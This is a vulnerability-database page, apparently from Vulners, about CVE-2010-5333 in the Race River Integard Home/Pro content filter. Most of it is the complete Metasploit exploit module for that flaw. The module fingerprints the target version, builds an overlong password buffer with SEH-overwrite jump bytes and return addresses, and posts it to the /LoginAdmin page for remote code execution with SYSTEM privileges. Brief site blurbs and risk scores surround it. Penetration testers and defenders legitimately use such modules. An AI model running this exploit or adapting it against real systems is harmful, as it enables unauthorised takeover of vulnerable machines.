Lucene search
+L

Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow

Race River Integard Home/Pro buffer overflow vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-5333
29 May 201815:50
circl
cve
CVE
CVE-2010-5333
13 Sep 201915:40
cve
cvelist
Cvelist
CVE-2010-5333
13 Sep 201915:40
cvelist
euvd
EUVD
EUVD-2010-5290
7 Oct 202500:30
euvd
nvd
NVD
CVE-2010-5333
13 Sep 201916:15
nvd
prion
Prion
Buffer overflow
13 Sep 201916:15
prion
ptsecurity
Positive Technologies
PT-2019-6601 · Integard · Integard Pro +1
13 Sep 201900:00
ptsecurity
redhatcve
RedhatCVE
CVE-2010-5333
22 May 202502:49
redhatcve
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking # stack bof, seh, universal ret, auto targeting

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Race river's Integard Home/Pro
          internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are
          vulnerable.

          The administration web page on port 18881 is vulnerable to a remote buffer overflow
          attack. By sending a long character string in the password field, both the structured
          exception handler and the saved extended instruction pointer are over written, allowing
          an attacker to gain control of the application and the underlying operating system
          remotely.

          The administration website service runs with SYSTEM privileges, and automatically
          restarts when it crashes.
        },
        'Author' => [
          'Lincoln', # original discovery
          'Nullthreat',
          'rick2600',
          'corelanc0d3r <peter.ve[at]corelan.be>',
          'jduck' # fleshed out module from advisory
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2010-5333'],
          ['OSVDB', '67909'],
          ['URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00\x20\x26\x2f\x3d\x3f\x5c",
          'StackAdjustment' => -1500,
        },
        'Platform' => 'win',
        'Privileged' => false,
        'Targets' => [
          [ 'Automatic Targeting', { 'auto' => true }],
          [ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E, }], # p/p/r
          [ 'Integard Pro  2.2.0.9026', { 'Ret' => 0x0040362C, }], # p/p/r
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2010-09-07',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(18881)
      ]
    )
  end

  def exploit
    mytarget = nil
    if (target['auto'])
      print_status("Automatically detecting the target...")
      response = send_request_raw(
        {
          'uri' => '/banner.jpg',
          'version' => '1.1',
          'method' => 'GET'
        }, 5
      )

      clen = 0
      clen ||= response['Content-Length'].to_i if response and response['Content-Length']
      case clen
      when 24584
        print_status("[!] Found Version - Integard Home")
        mytarget = targets[1]
      when 23196
        mytarget = targets[2]
        print_status("[!] Found Version - Integard Pro")
      end

    else
      mytarget = target
    end

    if not mytarget
      fail_with(Failure::NoTarget, "Unable to automatically detect the target version")
    end

    print_status("Selected Target: #{mytarget.name}")

    print_status("Building Buffer")
    pay = payload.encoded
    buffer = ''
    buffer << rand_text_alpha_upper(3091 - pay.length)
    buffer << pay
    buffer << "\xE9\x2B\xF8\xFF\xFF"
    buffer << "\xEB\xF9\x90\x90"
    buffer << [mytarget.ret].pack('V')

    print_status("Sending Request")
    send_request_raw({
      'uri' => '/LoginAdmin',
      'version' => '1.1',
      'method' => 'POST',
      'headers' =>
          {
            'Host' => '192.168.1.1:18881',
            'Content-Length' => 1074
          },
      'data' => "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login"
    }, 5)

    print_status("Request Sent")

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Sep 2010 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.16046
18